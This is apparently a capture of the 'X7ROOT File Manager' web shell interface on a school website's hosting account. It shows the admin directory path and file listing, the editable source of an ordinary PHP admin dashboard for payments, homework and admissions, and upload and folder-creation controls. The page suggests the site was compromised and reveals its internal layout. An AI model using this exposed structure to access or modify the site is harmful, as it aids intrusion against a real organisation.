X7ROOT File Manager
Current Path:
/home/u126090504/domains/sistsoro.com/public_html/admin
home
/
u126090504
/
domains
/
sistsoro.com
/
public_html
/
admin
/
📁
..
📄
achievers.php
(21.44 KB)
📄
achv_cat_manage.php
(7.99 KB)
📄
achv_edit.php
(9.58 KB)
📄
achv_list.php
(8.08 KB)
📄
achv_upload.php
(13.39 KB)
📄
admin-academic-calendar.php
(20.41 KB)
📄
admin-public-disclosure.php
(18.36 KB)
📄
admissions.php
(28.76 KB)
📄
admissions_error.log
(56 KB)
📁
assets
📄
banners.php
(9.78 KB)
📄
branding_settings.php
(5.93 KB)
📄
change_password.php
(3.01 KB)
📄
class_master.php
(4.32 KB)
📄
contacts.php
(3.79 KB)
📄
dashboard.php
(27.78 KB)
📄
downloads.php
(4.91 KB)
📄
edit_faculty.php
(6.85 KB)
📄
export_franchise.php
(930 B)
📄
faculty.php
(8.36 KB)
📄
fees_list.php
(8.48 KB)
📄
fees_upload.php
(6.19 KB)
📄
forgot_password.php
(6.39 KB)
📄
franchise.php
(7.28 KB)
📄
gallery.php
(3.08 KB)
📄
grievance-update.php
(1003 B)
📄
grievance-view.php
(8.51 KB)
📄
grievances.php
(9.55 KB)
📄
homework_add.php
(5.98 KB)
📄
homework_delete.php
(543 B)
📄
homework_edit.php
(9.39 KB)
📄
homework_list.php
(2.24 KB)
📁
img
📁
includes
📄
index.php
(82 B)
📄
login.php
(13.47 KB)
📄
logout.php
(102 B)
📄
manage_albums.php
(10.82 KB)
📄
manage_media.php
(11.77 KB)
📄
manage_photos.php
(6.35 KB)
📄
manage_videos.php
(18.38 KB)
📄
managing-committee.php
(13.64 KB)
📄
master_menu.php
(5.75 KB)
📄
master_menu_debug.php
(3.73 KB)
📄
new_password.php
(3.9 KB)
📄
non_academic_achievers.php
(21.2 KB)
📄
notice.php
(15.52 KB)
📄
notice_error.log
(38.45 KB)
📄
notices.php
(8.24 KB)
📄
payments.php
(14.96 KB)
📁
phpmailer
📄
popup.php
(14.07 KB)
📄
reset_password.php
(2.27 KB)
📄
section_master.php
(6.59 KB)
📄
sections_by_class.php
(346 B)
📄
secure_session.php
(1000 B)
📄
settings.php
(8.35 KB)
📄
student_photo_update.php
(1.8 KB)
📄
subject_master.php
(6.16 KB)
📄
submit-grievance.php
(4.97 KB)
📄
testimonials.php
(15.15 KB)
📄
update_status.php
(1.66 KB)
📄
upi_settings.php
(1.52 KB)
Editing: dashboard.php
<?php /* ========================= Modern Bootstrap Dashboard (Module-wise) Colors: #E60000 (brand), #000000 (dark) ========================= */ include 'secure_session.php'; include 'includes/auth.php'; require_once '../config.php'; date_default_timezone_set('Asia/Kolkata'); mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); if (method_exists($conn, 'set_charset')) { $conn->set_charset('utf8mb4'); } $today = date('Y-m-d'); $firstDayMonth = date('Y-m-01'); /* ---------- helpers ---------- */ function tableExists(mysqli $conn, $table){ try { $q = $conn->query("SHOW TABLES LIKE '".$conn->real_escape_string($table)."'"); return ($q && $q->num_rows>0); } catch(Throwable $e){ return false; } } function hasCol(mysqli $conn, $table, $col){ try { $q = $conn->query("SHOW COLUMNS FROM `".$conn->real_escape_string($table)."` LIKE '".$conn->real_escape_string($col)."'"); return ($q && $q->num_rows>0); } catch(Throwable $e){ return false; } } function pickCol(mysqli $conn, $table, $candidates){ foreach($candidates as $c){ if(hasCol($conn,$table,$c)) return $c; } return null; } function safeInt($v){ return (int)($v ?? 0); } function safeFloat($v){ return (float)($v ?? 0.0); } /* ========================================================== PAYMENTS (auto-detect table/columns) — matches payments.php ========================================================== */ $payments_today_cnt = 0; $payments_today_sum = 0.0; $payments_month_sum = 0.0; $payments_total_sum = 0.0; $recent_payments = []; try { $candidateTables = ['payments','payment_records','online_payments','student_payments','fees_payments']; $map = null; foreach($candidateTables as $t){ if(!tableExists($conn,$t)) continue; $amountCol = pickCol($conn,$t,['amount','paid_amount','fee_amount','final_amount','total_amount']); $statusCol = pickCol($conn,$t,['status','payment_status']); $dateCol = pickCol($conn,$t,['payment_date','created_at','created_on','paid_at','date','datetime','timestamp','ts']); $idCol = pickCol($conn,$t,['id','payment_id','transaction_id','txn_id','receipt_no']); if($amountCol && $statusCol){ $map=['table'=>$t,'amount'=>$amountCol,'status'=>$statusCol,'date'=>$dateCol,'id'=>$idCol]; break; } } if($map){ $T="`{$map['table']}`"; $A="`{$map['amount']}`"; $S="`{$map['status']}`"; $D=$map['date']?"`{$map['date']}`":null; $ID=$map['id']?"`{$map['id']}`":"NULL"; $paidWhere="LOWER($S) IN ('paid','success','completed','approved','confirm','confirmed')"; if($D){ $st=$conn->prepare("SELECT COUNT(*),COALESCE(SUM($A),0) FROM $T WHERE $paidWhere AND DATE($D)=?"); $st->bind_param('s',$today); $st->execute(); $st->bind_result($c,$s); $st->fetch(); $st->close(); $payments_today_cnt=safeInt($c); $payments_today_sum=safeFloat($s); $st=$conn->prepare("SELECT COALESCE(SUM($A),0) FROM $T WHERE $paidWhere AND DATE($D) BETWEEN ? AND ?"); $st->bind_param('ss',$firstDayMonth,$today); $st->execute(); $st->bind_result($ms); $st->fetch(); $st->close(); $payments_month_sum=safeFloat($ms); } $r=$conn->query("SELECT COALESCE(SUM($A),0) s FROM $T WHERE $paidWhere")->fetch_assoc(); $payments_total_sum=safeFloat($r['s']); $ord = $D ? "ORDER BY $D DESC" : ""; $selId = $ID!=="NULL" ? "$ID id" : "NULL id"; $selDt = $D ? "$D ts" : "NOW() ts"; $q=$conn->query("SELECT $selId, COALESCE($A,0) amount, UPPER(COALESCE($S,'')) status, $selDt FROM $T WHERE $paidWhere $ord LIMIT 10"); while($row=$q->fetch_assoc()){ $recent_payments[]=$row; } } } catch(Throwable $e){ /*silent*/ } /* ========================================================== HOMEWORK (auto-detect) — today count, unique classes, archived Tables tried: homework, homeworks, assignments, hw_assignments Date cols: assign_date, date, created_at, created_on, given_on Status cols: status/state | Class cols: class_id/class/grade/std_id Active statuses: active/published/posted Archived: status in (archived/inactive) OR is_archived=1/archive=1 ========================================================== */ $__today_count = 0; $__classes_today = 0; $__archived = 0; try{ $hwTables = ['homework','homeworks','assignments','hw_assignments']; $hwMap=null; foreach($hwTables as $t){ if(!tableExists($conn,$t)) continue; $dateCol = pickCol($conn,$t,['assign_date','date','created_at','created_on','given_on','assigned_on']); $statusCol= pickCol($conn,$t,['status','state']); $classCol = pickCol($conn,$t,['class_id','class','class_name','classId','std_id','grade']); $archCol = pickCol($conn,$t,['is_archived','archive','archived']); if($statusCol){ $hwMap=['table'=>$t,'date'=>$dateCol,'status'=>$statusCol,'class'=>$classCol,'arch'=>$archCol]; break; } } if($hwMap){ $T="`{$hwMap['table']}`"; $S="`{$hwMap['status']}`"; $D = $hwMap['date'] ? "`{$hwMap['date']}`" : null; $C = $hwMap['class'] ? "`{$hwMap['class']}`" : null; $A = $hwMap['arch'] ? "`{$hwMap['arch']}`" : null; $activeWhere = " (LOWER($S) IN ('active','published','posted') OR $S IS NULL) "; // TODAY COUNT if($D){ // also handle dd-mm-YYYY stored as varchar $st = $conn->prepare("SELECT COUNT(*) FROM $T WHERE $activeWhere AND (DATE($D)=? OR DATE(STR_TO_DATE($D,'%d-%m-%Y'))=?)"); $st->bind_param('ss',$today,$today); $st->execute(); $st->bind_result($cnt); $st->fetch(); $st->close(); $__today_count = safeInt($cnt); // UNIQUE CLASSES if($C){ $st=$conn->prepare("SELECT COUNT(DISTINCT $C) FROM $T WHERE $activeWhere AND (DATE($D)=? OR DATE(STR_TO_DATE($D,'%d-%m-%Y'))=?)"); $st->bind_param('ss',$today,$today); $st->execute(); $st->bind_result($cc); $st->fetch(); $st->close(); $__classes_today = safeInt($cc); } } // ARCHIVED TOTAL $archWhere = $A ? " ($A=1) " : " (LOWER($S) IN ('archived','inactive')) "; $r = $conn->query("SELECT COUNT(*) c FROM $T WHERE $archWhere")->fetch_assoc(); $__archived = safeInt($r['c']); } }catch(Throwable $e){ /*silent*/ } /* ========================================================== ONLINE ADMISSIONS DONE (auto-detect, robust) Tables tried: admissions, online_admissions, admission_forms Status cols: payment_status/status/final_status Done statuses: paid/approved/confirmed/admitted/completed/success ========================================================== */ $admissions_online_total = 0; try{ $admTables = [ 'admissions','admission','admission_applications', 'online_admissions','admission_forms','applications' ]; foreach($admTables as $t){ if(!tableExists($conn,$t)) continue; $statusCol = pickCol($conn,$t,[ 'payment_status','status','final_status','admission_status' ]); if($statusCol){ $S = "`$statusCol`"; $r = $conn->query(" SELECT COUNT(*) c FROM `$t` WHERE LOWER($S) IN ('paid','approved','confirmed','admitted','completed','success','accepted') ")->fetch_assoc(); $admissions_online_total = safeInt($r['c']); } else { // ❗ No status column: show total applications (matches admissions.php table) $r = $conn->query("SELECT COUNT(*) c FROM `$t`")->fetch_assoc(); $admissions_online_total = safeInt($r['c']); } break; // first matching table is used } }catch(Throwable $e){ // leave as 0 } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Admin Dashboard</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" rel="stylesheet"> <style> :root{ --brand:#E60000; --dark:#000000; --muted:#6f6f6f; --border:rgba(0,0,0,.08); } body{ background:#f6f7fb; font-family:"Inter","Segoe UI",system-ui,Arial,sans-serif; } .wrapper{ min-height:100vh; display:grid; grid-template-columns:280px 1fr; } @media (max-width:992px){ .wrapper{ grid-template-columns:1fr; } } .sidebar{ background:var(--dark); color:#fff; position:sticky; top:0; height:100vh; padding:16px; overflow-y:auto; } .brand{ display:flex; align-items:center; gap:10px; margin-bottom:10px; } .brand img{ width:38px; height:38px; object-fit:contain; border-radius:8px; background:#fff; padding:4px; } .brand .title{ font-weight:900; letter-spacing:.3px; } .brand small{ color:#cfcfcf; } .sidebar .module { margin-bottom:.5rem; } .sidebar .module .head{ display:flex; align-items:center; justify-content:space-between; gap:.5rem; padding:.6rem .6rem; border-radius:10px; } .sidebar .module .head:hover{ background:rgba(255,255,255,.08); } .sidebar .module .head .label{ color:#fff; font-weight:700; display:flex; align-items:center; gap:.55rem; } .sidebar .module .head .arrow{ border:0; background:transparent; color:#fff; width:36px; height:36px; border-radius:8px; } .sidebar .module .head .arrow:hover{ background:rgba(255,255,255,.12); } .sidebar .module .head .arrow .fa-chevron-down{ transition:transform .2s ease; } .sidebar .module .head .arrow[aria-expanded="true"] .fa-chevron-down{ transform:rotate(180deg); } .sidebar .submenu a{ color:#e9e9e9; text-decoration:none; display:flex; align-items:center; gap:8px; padding:.45rem .75rem .45rem 2.2rem; border-radius:10px; } .sidebar .submenu a:hover{ background:rgba(255,255,255,.08); color:#fff; } .badge-live{ background:#fff; color:var(--dark); } .topbar{ background:#fff; border-bottom:3px solid var(--brand); position:sticky; top:0; z-index:5; } .topbar .welcome{ font-weight:900; letter-spacing:.2px; } .card-soft{ border:1px solid var(--border); border-radius:16px; box-shadow:0 8px 24px rgba(0,0,0,.06); } .kpi{ border:1px solid var(--border); border-radius:16px; background:#fff; box-shadow:0 8px 24px rgba(0,0,0,.06); } .kpi h6{ color:#a11d1d; font-size:12px; text-transform:uppercase; letter-spacing:.35px; } .kpi .big{ font-size:28px; font-weight:900; } .kpi small{ color:var(--muted); } .tile{ display:block; background:#fff; border:1px solid var(--border); border-radius:14px; padding:14px 16px; text-decoration:none; color:#111; box-shadow:0 8px 24px rgba(0,0,0,.06); transition:.2s; } .tile:hover{ transform:translateY(-3px); border-color:rgba(230,0,0,.45); box-shadow:0 14px 36px rgba(0,0,0,.12); } .tile i{ color:var(--brand); margin-right:8px; } .btn-brand{ color:#fff; background:linear-gradient(180deg,#ff3d3d,var(--brand)); border-color:#c70000; } .btn-brand:hover{ filter:brightness(.97); } </style> </head> <body> <div class="wrapper"> <!-- ============ SIDEBAR ============ --> <aside class="sidebar d-none d-lg-block"> <div class="brand"> <img src="img/logo.jpg" alt="Logo"> <div> <div class="title">SVM International School</div> <small><?= htmlspecialchars($_SESSION['admin_email'] ?? '') ?></small> </div> </div> <hr class="border-secondary-subtle"> <!-- 1) Homework Management (badge shows today's count) --> <div class="module"> <div class="head"> <span class="label"> <i class="fa-solid fa-book-open-reader"></i> Homework Management <span class="badge badge-live ms-2"><?= (int)$__today_count ?></span> </span> <button class="arrow" data-bs-toggle="collapse" data-bs-target="#mdHomework" aria-expanded="false" aria-controls="mdHomework" type="button"> <i class="fa-solid fa-chevron-down"></i> </button> </div> <div id="mdHomework" class="collapse submenu ps-1"> <a href="master_menu.php"><i class="fa-solid fa-layer-group"></i> Master Entry</a> <a href="homework_add.php"><i class="fa-solid fa-plus"></i> Add Homework</a> <a href="homework_list.php"><i class="fa-solid fa-table-list"></i> Manage / List</a> <a href="homework_list.php?date="><i class="fa-solid fa-box-archive"></i> Archives</a> </div> </div> <!-- 2) Payments --> <div class="module"> <div class="head"> <span class="label"><i class="fa-solid fa-credit-card"></i> Payments <span class="badge badge-live ms-2"><?= (int)$payments_today_cnt ?></span></span> <button class="arrow" data-bs-toggle="collapse" data-bs-target="#mdPayments" aria-expanded="false" aria-controls="mdPayments" type="button"> <i class="fa-solid fa-chevron-down"></i> </button> </div> <div id="mdPayments" class="collapse submenu ps-1"> <a href="payments.php"><i class="fa-solid fa-arrow-right"></i> Online Payments</a> <a href="settings.php"><i class="fa-solid fa-qrcode"></i> UPI Settings</a> </div> </div> <!-- 3) Banners --> <div class="module"> <div class="head"> <span class="label"><i class="fa-solid fa-bullhorn"></i> Banners</span> <button class="arrow" data-bs-toggle="collapse" data-bs-target="#mdBanners" aria-expanded="false" aria-controls="mdBanners" type="button"> <i class="fa-solid fa-chevron-down"></i> </button> </div> <div id="mdBanners" class="collapse submenu ps-1"> <a href="banners.php"><i class="fa-solid fa-bullhorn"></i> Slider Banner</a> <a href="popup.php"><i class="fa-solid fa-newspaper"></i> Popup Banner</a> </div> </div> <!-- 4) Achievers --> <div class="module"> <div class="head"> <span class="label"><i class="fa-solid fa-user-graduate"></i> Achievers</span> <button class="arrow" data-bs-toggle="collapse" data-bs-target="#mdAchievers" aria-expanded="false" aria-controls="mdAchievers" type="button"> <i class="fa-solid fa-chevron-down"></i> </button> </div> <div id="mdAchievers" class="collapse submenu ps-1"> <a href="achievers.php"><i class="fa-solid fa-trophy"></i> Academic Achievers</a> <a href="non_academic_achievers.php"><i class="fa-solid fa-medal"></i> Non Academic Achievers</a> </div> </div> <!-- 5) Academic --> <div class="module"> <div class="head"> <span class="label"><i class="fa-solid fa-school"></i> Academic</span> <button class="arrow" data-bs-toggle="collapse" data-bs-target="#mdAcademic" aria-expanded="false" aria-controls="mdAcademic" type="button"> <i class="fa-solid fa-chevron-down"></i> </button> </div> <div id="mdAcademic" class="collapse submenu ps-1"> <a href="admissions.php"><i class="fa-solid fa-user-plus"></i> Admissions</a> <a href="admin-academic-calendar.php"><i class="fa-solid fa-calendar-days"></i> Academic Calendar</a> <a href="admin-public-disclosure.php"><i class="fa-solid fa-file-circle-info"></i> Public Disclosure</a> </div> </div> <!-- 6) Gallery --> <div class="module"> <div class="head"> <span class="label"><i class="fa-solid fa-images"></i> Gallery</span> <button class="arrow" data-bs-toggle="collapse" data-bs-target="#mdGallery" aria-expanded="false" aria-controls="mdGallery" type="button"> <i class="fa-solid fa-chevron-down"></i> </button> </div> <div id="mdGallery" class="collapse submenu ps-1"> <a href="manage_albums.php"><i class="fa-solid fa-folder-plus"></i> Create Album</a> <a href="manage_photos.php"><i class="fa-solid fa-cloud-arrow-up"></i> Upload Photos</a> <a href="manage_media.php"><i class="fa-solid fa-briefcase"></i> Media Corner</a> <a href="manage_videos.php"><i class="fa-solid fa-video"></i> Video Gallery</a> </div> </div> <!-- 7) Notices --> <div class="module"> <div class="head"> <span class="label"><i class="fa-solid fa-bullhorn"></i> Notices</span> <button class="arrow" data-bs-toggle="collapse" data-bs-target="#mdNotices" aria-expanded="false" aria-controls="mdNotices" type="button"> <i class="fa-solid fa-chevron-down"></i> </button> </div> <div id="mdNotices" class="collapse submenu ps-1"> <a href="notices.php"><i class="fa-solid fa-bullhorn"></i> Notice</a> <a href="notice.php"><i class="fa-solid fa-newspaper"></i> Latest Updates</a> </div> </div> <!-- 8) Other Links (plain menu) --> <hr class="border-secondary-subtle"> <div class="submenu ps-1"> <a href="fees_upload.php"><i class="fa-solid fa-table"></i> Fee Structure</a> <a href="faculty.php"><i class="fa-solid fa-chalkboard-user"></i> Faculty</a> <a href="managing-committee.php"><i class="fa-solid fa-people-group"></i> Managing Committee</a> <a href="achv_upload.php"><i class="fa-solid fa-trophy"></i> Achievements</a> <a href="testimonials.php"><i class="fa-solid fa-comments"></i> Testimonials</a> <a href="grievances.php"><i class="fa-solid fa-clipboard-list"></i> Grievances</a> <a href="downloads.php"><i class="fa-solid fa-download"></i> Downloads</a> <a href="contacts.php"><i class="fa-solid fa-address-book"></i> Contacts</a> <a href="branding_settings.php"><i class="fa fa-adjust"></i>Login Page Branding</a> </div> <!-- 9) Password Management --> <div class="module mt-2"> <div class="head"> <span class="label"><i class="fa-solid fa-key"></i> Password Management</span> <button class="arrow" data-bs-toggle="collapse" data-bs-target="#mdPassword" aria-expanded="false" aria-controls="mdPassword" type="button"> <i class="fa-solid fa-chevron-down"></i> </button> </div> <div id="mdPassword" class="collapse submenu ps-1"> <a href="change_password.php"><i class="fa-solid fa-unlock-keyhole"></i> Change Password</a> <a href="forgot_password.php"><i class="fa-solid fa-envelope-open"></i> Reset via Email</a> </div> </div> <hr class="border-secondary-subtle"> <a href="logout.php" class="submenu ps-0"><span class="ms-2"><i class="fa-solid fa-right-from-bracket me-2"></i> Logout</span></a> </aside> <!-- ============ MAIN ============ --> <main> <!-- Topbar --> <div class="topbar py-2 px-3 px-lg-4 d-flex align-items-center justify-content-between"> <div class="d-flex align-items-center gap-2"> <button class="btn btn-sm btn-dark d-lg-none" data-bs-toggle="offcanvas" data-bs-target="#offcanvasNav"> <i class="fa-solid fa-bars"></i> </button> <div class="welcome">👋 Welcome, <?= htmlspecialchars($_SESSION['admin_username'] ?? 'Super Admin'); ?></div> </div> <div class="d-flex align-items-center gap-2"> <span class="badge text-bg-danger">Online Admissions: <?= (int)$admissions_online_total ?></span> <a href="settings.php" class="btn btn-sm btn-outline-dark"><i class="fa-solid fa-gear me-1"></i> Settings</a> </div> </div> <div class="container-fluid px-3 px-lg-4 py-3 py-lg-4"> <!-- KPIs --> <div class="row g-3 mb-3"> <div class="col-12 col-xl-3 col-md-6"> <div class="p-3 kpi"> <h6>Payments Today</h6> <div class="big">₹<?= number_format($payments_today_sum,2) ?></div> <small><?= (int)$payments_today_cnt ?> transactions</small> </div> </div> <div class="col-12 col-xl-3 col-md-6"> <div class="p-3 kpi"> <h6>Payments This Month</h6> <div class="big">₹<?= number_format($payments_month_sum,2) ?></div> <small><?= date('M Y') ?></small> </div> </div> <div class="col-12 col-xl-3 col-md-6"> <div class="p-3 kpi"> <h6>Total Online Revenue</h6> <div class="big">₹<?= number_format($payments_total_sum,2) ?></div> <small>All time</small> </div> </div> <div class="col-12 col-xl-3 col-md-6"> <div class="p-3 kpi"> <h6>Online Admissions (Done)</h6> <div class="big"><?= (int)$admissions_online_total ?></div> <small>Approved / Paid</small> </div> </div> </div> <!-- Homework quick KPIs --> <div class="row g-3 mb-4"> <div class="col-md-4"> <div class="p-3 kpi"> <h6>Today's Homework</h6> <div class="big"><?= (int)$__today_count ?></div> <small><?= date('d M Y') ?></small> </div> </div> <div class="col-md-4"> <div class="p-3 kpi"> <h6>Classes Covered</h6> <div class="big"><?= (int)$__classes_today ?></div> <small>Unique classes today</small> </div> </div> <div class="col-md-4"> <div class="p-3 kpi"> <h6>Archived Records</h6> <div class="big"><?= (int)$__archived ?></div> <small>Total archived</small> </div> </div> </div> <!-- Quick Actions --> <div class="d-flex align-items-center justify-content-between mb-2"> <h5 class="mb-0 fw-bold">Quick Actions</h5> <div class="text-muted small">Frequently used</div> </div> <div class="row g-2 g-md-3"> <div class="col-6 col-md-3"><a class="tile" href="payments.php"><i class="fa-solid fa-credit-card"></i> Online Payments</a></div> <div class="col-6 col-md-3"><a class="tile" href="settings.php"><i class="fa-solid fa-qrcode"></i> UPI Settings</a></div> <div class="col-6 col-md-3"><a class="tile" href="achievers.php"><i class="fa-solid fa-user-graduate"></i> Academic Achievers</a></div> <div class="col-6 col-md-3"><a class="tile" href="non_academic_achievers.php"><i class="fa-solid fa-medal"></i> Non Academic Achievers</a></div> </div> <!-- Recent Payments --> <div class="card card-soft mt-4"> <div class="card-header bg-white d-flex align-items-center justify-content-between" style="border-top-left-radius:16px;border-top-right-radius:16px;"> <div class="fw-bold"><i class="fa-solid fa-receipt me-2 text-danger"></i>Recent Online Payments</div> <a href="payments.php" class="btn btn-sm btn-brand"><i class="fa-solid fa-arrow-right me-1"></i> View All</a> </div> <div class="table-responsive"> <table class="table align-middle mb-0"> <thead class="table-light"><tr><th>ID</th><th>Status</th><th>Amount</th><th>Date/Time</th></tr></thead> <tbody> <?php if(count($recent_payments)): foreach($recent_payments as $p): ?> <tr> <td><?= htmlspecialchars($p['id'] ?? '-') ?></td> <td> <?php $status=strtoupper($p['status']??''); $class='text-bg-success'; if(strpos($status,'PENDING')!==false) $class='text-bg-warning'; if(strpos($status,'FAIL')!==false) $class='text-bg-danger'; ?> <span class="badge <?= $class ?>"><?= htmlspecialchars($status) ?></span> </td> <td>₹<?= number_format((float)($p['amount'] ?? 0),2) ?></td> <td><?= htmlspecialchars(isset($p['ts']) ? date('d M Y, h:i A', strtotime($p['ts'])) : '-') ?></td> </tr> <?php endforeach; else: ?> <tr><td colspan="4" class="text-muted">No successful online payments yet.</td></tr> <?php endif; ?> </tbody> </table> </div> </div> <?php include 'includes/footer.php'; ?> </div> </main> </div> <!-- Offcanvas (mobile) --> <div class="offcanvas offcanvas-start" tabindex="-1" id="offcanvasNav"> <div class="offcanvas-header"> <h5 class="offcanvas-title"><i class="fa-solid fa-bolt text-danger me-2"></i> Menu</h5> <button class="btn-close" data-bs-dismiss="offcanvas"></button> </div> <div class="offcanvas-body"> <!-- Homework --> <div class="fw-bold mb-2"><i class="fa-solid fa-book-open-reader me-1 text-danger"></i> Homework</div> <a class="btn w-100 btn-outline-dark mb-2" href="master_menu.php">Master Entry</a> <a class="btn w-100 btn-outline-dark mb-2" href="homework_add.php">Add Homework</a> <a class="btn w-100 btn-outline-dark mb-2" href="homework_list.php">Manage / List</a> <a class="btn w-100 btn-outline-dark mb-2" href="homework_list.php?date=">Archives</a> <!-- Payments --> <div class="fw-bold mt-3 mb-2"><i class="fa-solid fa-credit-card me-1 text-danger"></i> Payments</div> <a class="btn w-100 btn-outline-dark mb-2" href="payments.php">Online Payments</a> <a class="btn w-100 btn-outline-dark mb-2" href="settings.php">UPI Settings</a> <!-- Achievers --> <div class="fw-bold mt-3 mb-2"><i class="fa-solid fa-user-graduate me-1 text-danger"></i> Achievers</div> <a class="btn w-100 btn-outline-dark mb-2" href="achievers.php">Academic Achievers</a> <a class="btn w-100 btn-outline-dark mb-2" href="non_academic_achievers.php">Non Academic Achievers</a> <!-- Gallery --> <div class="fw-bold mt-3 mb-2"><i class="fa-solid fa-images me-1 text-danger"></i> Gallery</div> <a class="btn w-100 btn-outline-dark mb-2" href="manage_albums.php">Create Album</a> <a class="btn w-100 btn-outline-dark mb-2" href="manage_photos.php">Upload Photos</a> <a class="btn w-100 btn-outline-dark mb-2" href="manage_media.php">Media Corner</a> <a class="btn w-100 btn-outline-dark mb-2" href="manage_videos.php">Video Gallery</a> <!-- Notices --> <div class="fw-bold mt-3 mb-2"><i class="fa-solid fa-bullhorn me-1 text-danger"></i> Notices</div> <a class="btn w-100 btn-outline-dark mb-2" href="notices.php">Notice</a> <a class="btn w-100 btn-outline-dark mb-2" href="notice.php">Latest Updates</a> <!-- Other Links --> <div class="fw-bold mt-3 mb-2"><i class="fa-solid fa-link me-1 text-danger"></i> Other Links</div> <a class="btn w-100 btn-outline-dark mb-2" href="admissions.php">Admissions</a> <a class="btn w-100 btn-outline-dark mb-2" href="faculty.php">Faculty</a> <a class="btn w-100 btn-outline-dark mb-2" href="admin-academic-calendar.php">Academic Calendar</a> <a class="btn w-100 btn-outline-dark mb-2" href="admin-public-disclosure.php">Public Disclosure</a> <a class="btn w-100 btn-outline-dark mb-2" href="managing-committee.php">Managing Committee</a> <a class="btn w-100 btn-outline-dark mb-2" href="testimonials.php">Testimonials</a> <a class="btn w-100 btn-outline-dark mb-2" href="contacts.php">Contacts</a> <a class="btn w-100 btn-outline-dark mb-2" href="grievances.php">Grievances</a> <a class="btn w-100 btn-outline-dark mb-2" href="downloads.php">Downloads</a> <a class="btn w-100 btn-outline-dark mb-2" href="banners.php">Banners</a> <a class="btn w-100 btn-outline-dark mb-2" href="popup.php">Popup Banner</a> <a class="btn w-100 btn-outline-dark mb-2" href="fees_upload.php">Fee Structure</a> <a class="btn w-100 btn-outline-dark mb-2" href="logout.php">Logout</a> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script> <script> // Only arrow toggles collapse document.querySelectorAll('.module .head .arrow').forEach(btn=>btn.addEventListener('click',e=>e.stopPropagation())); document.querySelectorAll('.module .head .label').forEach(lbl=>lbl.addEventListener('click',e=>e.preventDefault())); document.querySelectorAll('.collapse').forEach(col=>{ col.addEventListener('shown.bs.collapse',()=>{const btn=document.querySelector(`[data-bs-target="#${col.id}"]`); if(btn) btn.setAttribute('aria-expanded','true');}); col.addEventListener('hidden.bs.collapse',()=>{const btn=document.querySelector(`[data-bs-target="#${col.id}"]`); if(btn) btn.setAttribute('aria-expanded','false');}); }); </script> </body> </html>
Upload File
Create Folder